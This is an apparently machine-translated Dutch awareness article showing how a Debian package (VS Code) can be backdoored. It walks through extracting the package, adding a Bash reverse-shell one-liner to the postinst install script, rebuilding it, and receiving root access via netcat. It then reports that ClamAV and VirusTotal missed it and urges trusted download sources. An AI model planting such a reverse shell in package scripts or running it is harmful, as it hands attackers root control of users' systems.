Wist u dat aanvallers de scripts die in een DEB-bestand zijn verpakt, kunnen wijzigen om ongeautoriseerde toegang tot uw pc te verkrijgen? Hier ziet u hoe DEB-pakketten een backdoor hebben.
Belangrijkste leerpunten
- DEB-pakketten kunnen gemakkelijk via een backdoor worden geopend, waardoor aanvallers kwaadaardige code in uw systeem kunnen injecteren wanneer u ze met root-rechten installeert.
- Geïnfecteerde DEB-pakketten zijn moeilijk te detecteren, omdat ze mogelijk niet worden gemarkeerd door antivirussoftware of cloudoplossingen zoals VirusTotal.
- Om uzelf te beschermen, vermijd het downloaden van DEB-pakketten van willekeurige sites, blijf bij officiële downloadsites of door de gemeenschap vertrouwde sites en overweeg om beveiligingshulpmiddelen te installeren om uw Linux-systeem tegen het netwerk te beveiligen aanvallen.
DEB-bestanden zijn softwarepakketten die het primaire formaat vormen van verzendsoftware op op Debian gebaseerde Linux-distributies.
Om DEB-pakketten te installeren, moet u een pakketbeheerder zoals dpkg met rootrechten gebruiken. Aanvallers profiteren hiervan en injecteren achterdeurtjes in deze pakketten. Wanneer u ze installeert met dpkg of een andere pakketbeheerder, wordt de kwaadaardige code ook mee uitgevoerd en brengt uw systeem in gevaar.
Laten we eens kijken hoe DEB-pakketten precies achter de deur zitten en wat u kunt doen om uzelf te beschermen.
Hoe worden DEB-pakketten achter de deur geplaatst?
Voordat u begrijpt hoe DEB-pakketten achter de deur zitten, gaan we eerst eens kijken wat er in een DEB-pakket zit. Ter demonstratie download ik het Microsoft Visual Studio Code DEB-pakket van de officiële Microsoft-website. Dit is hetzelfde pakket dat je zou downloaden als je VS Code op Linux wilt installeren.
Downloaden:Visual Studio-code
Nu u het doelpakket hebt gedownload, is het tijd om het uit te pakken. U kunt een DEB-pakket uitpakken met behulp van de dpkg-deb commando met de -R flag gevolgd door het pad om de inhoud op te slaan:
dpkg-deb -R
Dit zou de inhoud van het VS Code-pakket moeten extraheren.
Als u de map betreedt, vindt u meerdere mappen, maar onze interesse ligt alleen in de DEBIAN map. Deze map bevat onderhoudsscripts die tijdens de installatie worden uitgevoerd met rootrechten. Zoals je misschien al hebt begrepen, passen de aanvallers de scripts in deze map aan.
Ter demonstratie zal ik de postinst script en voeg een eenvoudige Bash reverse TCP-shell met één voering toe. Zoals de naam al doet vermoeden, is het een script dat wordt uitgevoerd nadat het pakket op het systeem is geïnstalleerd.
Het bevat opdrachten die de configuraties voltooien, zoals het instellen van symbolische koppelingen, het afhandelen van afhankelijkheid en meer. Je kunt talloze verschillende omgekeerde schelpen op internet vinden. De meeste zullen hetzelfde werken. Hier is het voorbeeld van een oneliner met omgekeerde shell:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
Uitleg van de opdracht:
- bash: Dit is het commando dat de Bash-shell aanroept.
- -i: De vlag vertelt Bash dat hij in de interactieve modus moet werken, waardoor realtime commando-I/O mogelijk is.
-
>& /dev/tcp/ip/port: Dit leidt om standaarduitvoer en standaardfout naar een netwerkaansluiting, waardoor in wezen een TCP-verbinding tot stand wordt gebracht met de
En . - 0>&1: Hierdoor worden de in- en uitgang omgeleid naar dezelfde locatie, dat wil zeggen naar de netwerkaansluiting.
Voor niet-ingewijden: een reverse shell is een soort code die, wanneer deze op de doelmachine wordt uitgevoerd, een verbinding tot stand brengt met de machine van de aanvaller. Reverse shells zijn een goede manier om firewallbeperkingen te omzeilen, aangezien het verkeer wordt gegenereerd vanaf de machine achter de firewall.
Zo ziet het aangepaste script eruit:
Zoals je kunt zien is alles hetzelfde, maar is er slechts één regel toegevoegd, namelijk onze Bash reverse shell. Nu moet je de bestanden terug inbouwen in de ".deb" formaat. Gebruik gewoon de dpkg commando met de --bouwen vlag of gebruik dpkg-deb met de -B vlag gevolgd door het pad van de geëxtraheerde inhoud:
dpkg --build
dpkg-deb -b
Nu is het DEB-pakket met achterdeur klaar om naar kwaadaardige sites te worden verzonden. Laten we een scenario simuleren waarin een slachtoffer het DEB-pakket op zijn systeem heeft gedownload en het installeert zoals elk ander regulier pakket.
Het bovenste terminalvenster is voor de POV van het slachtoffer en het onderste is voor de POV van de aanvaller. Het slachtoffer installeert het pakket met sudo dpkg -i en de aanvaller luistert geduldig naar inkomende verbindingen met behulp van de netkat commando in Linux.
Zodra de installatie is voltooid, merk je dat de aanvaller de omgekeerde shell-verbinding krijgt en nu root-toegang heeft tot het systeem van het slachtoffer. Nu weet je hoe DEB-pakketten achter de deur zitten. Laten we nu leren hoe u uzelf kunt beschermen.
Hoe u kunt detecteren of een DEB-pakket schadelijk is
Nu je weet dat geïnfecteerde DEB-pakketten bestaan, vraag je je vast af hoe je geïnfecteerde DEB-pakketten kunt vinden. Om te beginnen kun je proberen een Linux-antivirussoftware zoals ClamAV. Helaas werd het pakket, toen er een ClamAV-scan werd uitgevoerd, niet als kwaadaardig gemarkeerd. Hier is het resultaat van de scan:
Dus tenzij u over een premium antivirusoplossing beschikt (wat geen garantie is dat u niet gehackt zult worden), is het vrij moeilijk om kwaadaardige DEB-pakketten te detecteren. Laten we proberen een cloudoplossing te gebruiken, zoals de VirusTotal-website:
Zoals u kunt zien, heeft VirusTotal er niets mis mee ontdekt. De enige manier om jezelf tegen dergelijke bedreigingen te beschermen is het volgen van de basisveiligheidshygiëne, zoals het niet altijd downloaden van bestanden van onbekende bronnen. het controleren van de hash van een bestand, en in het algemeen, vermijd het installeren van duistere software.
Het internet staat vol met dergelijke bedreigingen. De enige manier om te surfen zonder uw gegevens te verliezen, is door op uw hoede te zijn en door vertrouwde sites te bladeren. Bovendien moet je voor Linux ook proberen te achterhalen of de software die je downloadt een AppImage-variant omdat ze op zichzelf staan en in een sandbox kunnen worden geplaatst en dus buiten contact kunnen worden gehouden met uw systeem.
Download geen DEB-pakketten van willekeurige sites!
DEB-pakketten zijn niet per definitie slecht, maar aanvallers kunnen ze gemakkelijk bewapenen en naar nietsvermoedende gebruikers verzenden. Zoals gedemonstreerd kan een DEB-pakket eenvoudig worden geopend en aangepast om met slechts een paar opdrachten aangepaste code toe te voegen, waardoor het een veelgebruikte vector wordt voor het verzenden van malware.
Zelfs eenvoudige achterdeurtjes in DEB-pakketten blijven onopgemerkt door de beste antivirusoplossingen. Het beste wat u dus kunt doen, is op veilig spelen, uw gezonde verstand gebruiken terwijl u op internet surft en software altijd alleen downloaden van officiële downloadsites of door de gemeenschap vertrouwde sites.
Nu u zich bewust bent van de veiligheidsrisico's die gepaard gaan met het installeren van DEB-pakketten vanaf nieuwe of onbekende sites, moet u voorzichtig zijn bij het installeren van nieuwe software. Alleen voorzichtig zijn met wat u installeert, is echter niet voldoende. Uw Linux-systeem kan ook een doelwit zijn van netwerkaanvallen.
Om er zeker van te zijn dat u veilig bent in het geval van een netwerkaanval, kunt u overwegen om netwerkbeveiligingstools te installeren.